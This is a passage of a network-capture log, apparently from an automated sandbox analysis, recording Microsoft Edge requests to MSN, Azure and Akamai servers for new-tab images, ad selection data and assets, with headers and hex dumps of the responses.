en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; SM=T
2024-11-26 07:03:50 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; domain=.msn.com; expires=Sun, 21-Dec-2025 07:03:50 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=2A1C8E46DA6B6D3B073F9B05DB6A6C89; domain=c.msn.com; expires=Sun, 21-Dec-2025 07:03:50 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 03-Dec-2024 07:03:50 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 26-Nov-2024 07:13:50 GMT; path=/; SameSite=None; Secure; Date: Tue, 26 Nov 2024 07:03:49 GMT Connection: close Content-Length: 42
2024-11-26 07:03:50 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49814	13.107.246.40	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:50 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:50 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:50 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 65376a0f-201e-0059-5391-3f6d81000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T070350Z-174f7845968vqt9xhC1EWRgten0000000v800000000007am Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:03:50 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49820	20.96.153.111	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:51 UTC	1018	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=dab8fe66da2f4dbbfeda0840871826f6 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-26 07:03:51 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2776 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132791-T700343875-C128000000002115249+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115249+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 07:03:50 GMT Connection: close
2024-11-26 07:03:51 UTC	2776	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4d 6f 6f 73 65 68 65 61 64 20 4c 61 6b 65 2c 20 4d 61 69 6e 65 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4d 6f 6f 73 65 68 65 61 64 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Moosehead Lake, Maine\",\"cta\":\"https:\/\/www.bing.com\/search?q=Moosehead

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49823	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:52 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:53 UTC	522	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO7 Last-Modified: Sat, 23 Nov 2024 17:10:02 GMT X-Source-Length: 176972 X-Datacenter: northeu X-ActivityId: c1da1ec4-0c27-40f3-823d-5ec36706435b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 176972 Cache-Control: public, max-age=209185 Expires: Thu, 28 Nov 2024 17:10:17 GMT Date: Tue, 26 Nov 2024 07:03:52 GMT Connection: close
2024-11-26 07:03:53 UTC	15862	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 5f 4a 81 a1 b4 5f 99 e5 16 15 8f 36 74 ee db b5 2e a1 06 2f 94 ae 36 58 52 45 c3 02 c5 67 a4 c7 9d e9 cf 9b 0f 6d db 76 e1 db 0a 46 e0 a4 c7 a8 6e b4 ee fa 8c 74 36 ac 3d ae 3d ce 21 4c 9f 54 da 02 f0 9e 5d 39 cd 2f fa b1 df 8c 20 93 2e bb 40 fe 10 64 9e 91 3d 05 48 b5 1f dd fe b0 0b 7e d0 22 96 53 c0 58 df 70 6f e2 fb 6d 58 d1 76 ee 62 07 a7 6c 0e 25 af f0 10 6b 5e 37 0f b3 12 fa a2 07 8c 71 a2 1d f7 6e 55 91 43 01 b9 44 cf 30 0c 9b 6b ac 7c e9 27 9c 9a 6a 52 4a b9 66 fe d7 dc cd 77 61 b6 26 ff 00 08 b0 80 39 0a 03 fa 96 7f 7c 0c 78 e2 15 86 d2 7f 70 9f 54 db 51 63 e5 22 96 ca e9 87 19 c7 32 4a f2 b8 e5 34 dd c2 4b 3a ee be 80 9e 80 54 72 ef a7 06 51 4b 87 e4 37 85 7d 84 55 dd 3c d8 cc 12 7e ca d8 57 dc 3a 5e 0c 72 e8 6b 16 45 f7 71 38 8d 74 f1 1a 50 ac Data Ascii: _J_6t./6XREgmvFnt6==!LT]9/ .@d=H~"SXpomXvbl%k^7qnUCD0k\|'jRJfwa&9\|xpTQc"2J4K:TrQK7}U<~W:^rkEq8tP
2024-11-26 07:03:53 UTC	2206	IN	Data Raw: d7 26 71 2a 38 6e 3f 57 e1 53 6e 57 9b 5e b5 36 51 88 0f 5c 8e 82 07 c2 4c 56 4c a5 40 da be 60 73 a6 f6 5e ec 63 7d b1 cb c3 e5 ce b2 51 de 65 ea e8 76 e6 2b 9b 18 02 c7 84 eb 3c 80 23 88 e1 ad 36 d0 95 cc 2f 13 e9 23 84 f0 3f 95 53 3e f0 2f 30 2d d3 c2 95 74 dd ed e4 b0 de 04 f2 dd fd 8e bd 2b 58 c3 6e 0d 25 1a 37 e3 63 2e 09 3f e3 71 1a c4 11 06 79 f1 a3 11 36 1a 44 d6 04 61 95 78 5c 1b 4d e6 b2 1c e5 06 d2 84 93 22 41 11 fd 46 60 df 5d 0d 65 28 db c1 2f 06 ac f3 b1 87 12 0c 78 f2 a6 ee 3f fe d0 1c 84 10 cc c4 00 79 08 bd 1c c9 90 03 00 b4 ed 99 d2 6d a8 e9 e1 4c 6c cf 97 2e 44 46 93 c0 02 41 8e 42 75 f9 de ba f4 d3 78 f0 61 a8 ea ba f8 0f 7f 3b 93 21 8d 49 b2 98 3c 78 72 9f 28 a7 12 33 e7 42 85 8a 13 2a 47 09 fc 57 f8 af 1a 13 83 16 cd aa ca 08 1b 4c Data Ascii: &q8n?WSnW^6Q\LVL@`s^c}Qev+<#6/#?S>/0-t+Xn%7c.?qy6Dax\M"AF`]e(/x?ymLl.DFABuxa;!I<xr(3BGWL
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 7b 70 42 8f 56 d0 b7 24 bc ed 0c 07 11 b6 f4 ab e2 7c 6f 94 6e be d4 fa 94 2c 86 d0 6d 06 c4 1e 55 1e c0 7b 99 c5 d5 82 93 93 77 18 00 47 13 17 e5 45 fb b0 de fb 64 dc 20 05 06 d3 1c a6 62 f4 f8 c1 87 fd 02 99 55 10 bb 10 4f a8 2c c3 01 1d 27 9e b4 d0 7c ac c0 40 46 11 f5 82 d1 e4 26 3e 14 63 bc 00 aa 16 2c c3 69 1a 05 83 6d 38 35 f5 b5 36 32 10 07 db f3 d2 b5 82 2e 40 cc cd 3f e9 5d 89 62 4f 08 a8 15 b9 26 41 e1 6e 1d 79 52 fb 82 2f 88 ae 93 9b c8 90 be 86 7c 04 7e 75 64 18 89 80 35 fb f4 a4 26 3a 56 82 61 62 c7 48 b9 f8 c4 7d b4 c4 8c fb 37 79 df 95 5b 9f 6d 6f 68 fb fc e9 46 51 f5 5c 74 eb 40 7b 82 c5 80 33 1c 3a d0 4c 9e d4 38 7b 7e e5 46 32 05 bd 50 07 12 48 d4 9a 5c f0 3e 32 68 47 6f 80 ad cd 98 f0 e2 05 17 09 61 17 9b 69 f6 45 2a 34 4e 4e 2a c4 76 Data Ascii: {pBV$\|on,mU{wGEd bUO,'\|@F&>c,im8562.@?]bO&AnyR/\|~ud5&:VabH}7y[mohFQ\t@{3:L8{~F2PH\>2hGoaiE4NNv
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 83 c6 fe 23 e1 fd ab 6e 66 5c 98 ce d0 7d 2c b1 c8 c9 89 17 e0 79 f9 56 51 9c e2 07 1e ee 36 01 77 49 e5 a1 fb 05 61 4f c0 e4 d3 16 63 31 20 7a 4c 80 6f 7e 62 2f f2 a1 99 b0 96 25 8b 42 91 a0 69 04 f1 10 74 d7 cf 59 a3 d8 86 4c 9e b2 02 ad a0 b5 99 bc a2 40 1f 1a 71 63 fd 31 72 c3 bb 15 06 fb 57 53 d4 ee 98 f2 13 4e 17 66 52 9c 12 b7 fe 4f 16 c8 9e db 7f 09 e5 fb 4f 5a e0 0a 34 af 0b fc b8 8a f5 cc fd af e9 b8 c3 29 c7 ee 11 72 3d c3 be ff 00 ee 11 ff 00 14 d6 fe 5b b7 92 c3 7e 15 e0 1b 22 e4 f3 04 80 7e 33 5d 9b 95 1c 31 8f c4 95 c5 34 8c aa 7d dd 99 14 9d c7 58 11 1c c1 e1 1f 6d 58 c8 64 d8 d8 1e 11 36 bf 98 fc a9 4c 78 53 16 42 57 26 e1 f8 76 c5 fe 66 88 26 19 dd 03 d5 aa 89 d4 fe 1e 92 6b 1c 1e c2 4f 6d fb 99 fb 7e e0 92 2e 21 40 04 18 82 07 1a 96 6c Data Ascii: #nf\},yVQ6wIaOc1 zLo~b/%BitYL@qc1rWSNfROOZ4)r=[~"~3]14}XmXd6LxSBW&vf&kOm~.!@l
2024-11-26 07:03:53 UTC	7952	IN	Data Raw: 10 a3 a4 01 15 b4 e3 dd 6f da 6f a9 20 fc 2d d6 b0 f7 4e 14 2e 3c 6e aa d3 2e 62 54 28 e1 e2 4d c0 f9 d6 2e 56 6d b5 0a 66 c8 d8 c1 c8 ca 99 12 48 17 da c4 8d 40 b7 0f 33 4d 36 53 91 89 6c 7b 77 4d ae 22 74 03 c2 8c 9c 60 95 97 09 b4 7a 41 b9 b7 18 e6 79 d4 9a 71 2e a6 49 00 6e e2 4f 1b f0 ea 45 64 9d 1d 14 24 81 50 5b f6 8b da d1 cb 8a db 48 8a 07 91 46 e9 11 b5 22 47 36 65 90 22 39 1d 23 c6 b5 b7 72 6e ac a4 36 9b 83 03 7e b6 51 1e 40 72 ac 99 0a 08 0c da 0d 09 93 3c 49 0b c4 f0 00 57 44 62 d9 32 6a b9 40 67 42 cf b9 ae d6 8e 00 0f 86 95 b7 12 8c 8c 52 42 a0 13 93 24 59 44 5c 0e 04 9d 04 ea 6b 21 97 fa 0b 05 98 9d 80 9e bc 64 91 d2 40 e3 58 f2 f7 8c a9 ec e0 51 b4 b4 fa a1 b7 72 df a0 6f 08 81 ca bb d4 69 1e 6b d4 b7 8e 3f b1 c2 7f cc 46 2e d9 76 f6 fb Data Ascii: oo -N.<n.bT(M.VmfH@3M6Sl{wM"t`zAyq.InOEd$P[HF"G6e"9#rn6~Q@r<IWDb2j@gBRB$YD\k!d@XQroik?F.v
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 0c 52 d7 1f 7b 7c eb aa 2d 33 7f fe 89 af 0b d4 f3 11 fa 47 74 f0 4f b7 8e f7 dc db be 0a a7 ed a5 47 e8 4c 4c b6 7d bf d3 8e 7e 25 81 f8 57 a4 eb 59 86 55 39 0e 33 21 a2 44 fe e1 cd 79 c6 84 6a 2b 7f 07 2b d6 9b f3 f2 18 27 f4 47 99 19 d5 8f f1 63 23 ec 63 f6 50 dc df a4 77 58 f7 b0 41 96 74 f6 df d4 0c 47 d2 c1 6d e1 26 bd 20 e5 da fb 0f ee fa 4f 36 d7 61 e4 c4 5d 78 35 6d 47 0e a0 8e 35 29 af 25 2d 7d 45 e6 fd 51 e0 8b 89 b1 90 ad 2a c3 f6 91 07 e4 69 52 76 ea 38 db ef e3 5e e3 9b 0e 3e e1 76 e4 50 e3 ae a3 c0 ea 0f 51 4c ac ff 00 a2 06 ff 00 b5 90 8f e1 c9 71 1d 19 44 fc c1 ac f0 d9 e9 43 f7 51 ac ad af dd 0c 7f 75 97 89 88 9a 22 99 c9 24 72 b5 0f cd 85 b0 37 b7 95 59 1a 0c 4e 87 aa 9d 18 75 14 2d 1b 63 1d 4f db 14 a8 f4 d6 a5 d6 6d 3f 27 a0 e2 ee 76 Data Ascii: R{\|-3GtOGLL}~%WYU93!Dyj++'Gc#cPwXAtGm& O6a]x5mG5)%-}EQ*iRv8^>vPQLqDCQu"$r7YNu-cOm?'v
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 41 02 09 db fe 4d a2 01 9f 54 ae e2 4d 45 57 30 dc 70 c4 16 fa 36 ed 59 1f 54 9d 7d 47 e9 6d 28 c0 d5 ac 7f 5e 0d 78 84 7a 80 13 c6 54 2b 7c 86 9f 29 ab fd c4 fd 20 6b 7f cf f3 9a c0 99 d9 8c 1c 61 36 46 f4 3b 8e 50 3c 2d 23 a8 26 68 86 f4 0c 04 3c 93 00 e8 a6 06 e9 17 d3 85 ea 69 9a a9 23 95 d1 a4 2e 46 24 5b 81 1f 28 82 3c af 53 55 e6 00 8f dc 00 00 78 7a ba c1 34 3c a0 00 94 85 25 a4 87 1a 74 d6 07 4b d5 fb a4 59 d0 0e 04 b9 0a 67 e5 79 e0 41 3d 6a 68 78 1c 78 b3 6e f4 b3 90 d0 35 00 a3 75 31 71 e5 0b d2 8d 9c 23 55 21 a6 fd 0f 84 53 3e 43 8f 49 d9 17 d2 6f f3 f9 da 39 51 9c 39 7d b6 85 0a dc 59 64 08 6b 49 12 c2 2d c8 41 a6 71 4f 4d c7 31 bf 41 6c 8b 07 95 62 f7 0d ef e3 b7 fb 73 a2 b9 0a 77 1b 1b 1e d6 53 3b 86 e0 1d 62 d2 aa 75 bd 88 f3 14 23 27 a7 Data Ascii: AMTMEW0p6YT}Gm(^xzT+\|) ka6F;P<-#&h<i#.F$[(<SUxz4<%tKYgyA=jhxxn5u1q#U!S>CIo9Q9}YdkI-AqOM1AlbswS;bu#'
2024-11-26 07:03:53 UTC	7952	IN	Data Raw: 11 62 4f a6 f0 68 b6 3f 69 bf c8 76 02 66 4c 88 5e 96 b5 fe f6 aa e1 06 6f 0f 00 dc 59 0a 46 27 f6 c4 4c 8b 83 b4 cf ed 5f 4b 0e 44 18 8e 02 b4 e4 27 1b 6f 23 19 10 44 49 04 88 fc 22 55 a0 0e 22 47 3a d4 ca 0d d7 78 98 fa 1b ea 8f cf 9f 4a cb 91 f6 03 b8 cf 0d c5 a4 ad fa 01 ad 20 f0 c9 39 6c 9b 54 7b 64 59 80 21 6c 39 86 00 93 7d 26 94 55 05 cf a1 f1 5c fa 96 14 34 eb 27 40 34 92 d6 3c eb 12 ec c8 a2 1a 20 fa 5d 5a 07 f4 9b 40 13 fb 4d 6d 05 81 bb 58 8b 1b 10 0f 5b dc 78 8f 3a 07 b5 3e 3f 93 3e 4e e4 ef 27 1e 35 67 40 06 d8 40 2c 36 f0 dc 44 cd b7 fc a8 86 72 f9 97 66 11 ed 92 2d 65 d8 09 bf 06 de a7 ae d6 53 69 a8 b0 0c 46 e0 a5 80 f4 89 3b af f5 41 e5 a7 03 14 8e 4c 11 ea 18 a4 5a 59 c8 30 dc 40 98 3b 78 c0 f9 55 ee 38 9e 9b 5f aa 05 23 e7 87 c5 97 da Data Ascii: bOh?ivfL^oYF'L_KD'o#DI"U"G:xJ 9lT{dY!l9}&U\4'@4< ]Z@MmX[x:>?>N'5g@@,6Drf-eSiF;ALZY0@;xU8_#
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 67 c6 36 9d 6d e5 1a d5 26 36 3c bd ac 58 e6 45 e4 c1 de 1a 3a ed 0b b6 df 3a 8e 66 47 65 f6 fb 6c 59 00 16 ba a9 e7 cd 4c 72 a6 37 f3 9d ce db 66 7b 6b 2a 9a 7f 09 1a 7d bd 68 d6 01 8f ba c2 ca f9 4a e6 17 46 90 01 2d 3e 88 31 21 6c 49 07 71 98 14 a4 4a 0d 84 6c b6 18 bd 91 06 6e 0a 19 1c 3c b9 4d 6b 0d 95 17 da df 85 90 08 29 ee 6d 68 8e 00 41 5e 9a d3 47 19 fd 4b 16 4f 62 0a 4c 12 1d 59 91 55 bd 3b c1 8d c0 70 27 c4 11 40 b7 bd c7 b8 d2 a6 41 b4 6b f5 2e e1 b8 83 d4 08 a9 41 67 a2 f7 18 b1 71 c6 03 5b eb 0c fa f2 24 4d fe 54 9a e6 c8 a4 99 55 6d 4b ce c3 03 49 fa 64 2f 22 0c 53 20 77 03 21 20 c6 e9 36 5d df 58 06 e4 69 06 22 66 d6 a2 58 bb a9 da 19 1b 49 21 58 86 26 67 76 c2 7d b3 ff 00 4f 9d 55 88 71 be 5c cd 21 f6 65 9d 59 a0 58 8d 20 e5 51 06 da 0b Data Ascii: g6m&6<XE::fGelYLr7f{k*}hJF->1!lIqJln<Mk)mhA^GKObLYU;p'@Ak.Agq[$MTUmKId/"S w! 6]Xi"fXI!X&gv}OUq\!eYX Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49822	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:52 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:53 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=405823 Expires: Sat, 30 Nov 2024 23:47:35 GMT Date: Tue, 26 Nov 2024 07:03:52 GMT Connection: close
2024-11-26 07:03:53 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
